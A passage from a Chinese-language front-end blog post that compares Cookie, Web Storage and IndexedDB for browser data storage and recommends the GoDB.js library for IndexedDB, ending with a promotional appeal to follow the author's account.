幫你在背后處理好 IndexedDB 各種繁瑣操作 幫你在背后維護(hù)好數(shù)據(jù)庫(kù)、數(shù)據(jù)表和字段 以及字段的索引,各種屬性(比如 unique)幫你規(guī)范化 IndexedDB 的使用,使你的項(xiàng)目更易維護(hù) 最終,開(kāi)放幾個(gè)簡(jiǎn)單易用的 API 給你,讓你用簡(jiǎn)潔的代碼玩轉(zhuǎn) IndexedDB
總結(jié)
總結(jié)一下三大方案各自的特點(diǎn)以及適用場(chǎng)景:
Cookie 能被服務(wù)器指定,瀏覽器會(huì)自動(dòng)在請(qǐng)求中帶上 大小只有 4kb 大規(guī)模應(yīng)用于廣告商定位用戶 配合 session 也是一個(gè)可行的登錄鑒權(quán)方案 Web Storage 大小有 10MB,使用極其簡(jiǎn)單 但是只能存字符串,需要轉(zhuǎn)義才能存 JS 對(duì)象 大部分情況下能完全替代 Cookie,且更安全 配合 token 可以實(shí)現(xiàn)更安全的登錄鑒權(quán) IndexedDB 儲(chǔ)存空間無(wú)上限,功能極其強(qiáng)大 原生支持 JS 對(duì)象,能更好的儲(chǔ)存數(shù)據(jù) 以數(shù)據(jù)庫(kù)的形式儲(chǔ)存數(shù)據(jù),數(shù)據(jù)管理更規(guī)范 但是,原生 API 操作很繁瑣,且有一定使用門檻
我個(gè)人是非??春?IndexedDB 的,我認(rèn)為在前端越來(lái)越復(fù)雜的未來(lái),在下一個(gè)十年各種重前端應(yīng)用(在線文檔,各種 SaaS 應(yīng)用),以及 Electron 環(huán)境中,IndexedDB 一定能夠大放光彩
比如緩存接口數(shù)據(jù),實(shí)現(xiàn)更好的用戶體驗(yàn) 比如在線文檔(富文本編輯器)保存編輯歷史 比如任何需要在前端保存大量數(shù)據(jù)的應(yīng)用
總之,IndexedDB 可以說(shuō)是最適合用來(lái)在前端存數(shù)據(jù)的方案,只不過(guò)因?yàn)槠浞爆嵉牟僮骱鸵欢ǖ氖褂瞄T檻,在目前沒(méi)有更簡(jiǎn)單的 localStorage 使用范圍那么廣而已
如果你想使用 IndexedDB,推薦試試 GoDB 這個(gè)類庫(kù),最大化的降低操作難度
官網(wǎng)(持續(xù)完善):https://godb-js.github.io/
GitHub:https://github.com/chenstarx/GoDB.js
??愛(ài)心三連擊 1.看到這里了就點(diǎn)個(gè)在看支持下吧,你的「點(diǎn)贊,在看」是我創(chuàng)作的動(dòng)力。
2.關(guān)注公眾號(hào)
程序員成長(zhǎng)指北,回復(fù)「1」加入高級(jí)前端交流群!「在這里有好多 前端 開(kāi)發(fā)者,會(huì)討論 前端 Node 知識(shí),互相學(xué)習(xí)」!3.也可添加微信【ikoala520】,一起成長(zhǎng)。
“在看轉(zhuǎn)發(fā)”是最大的支持
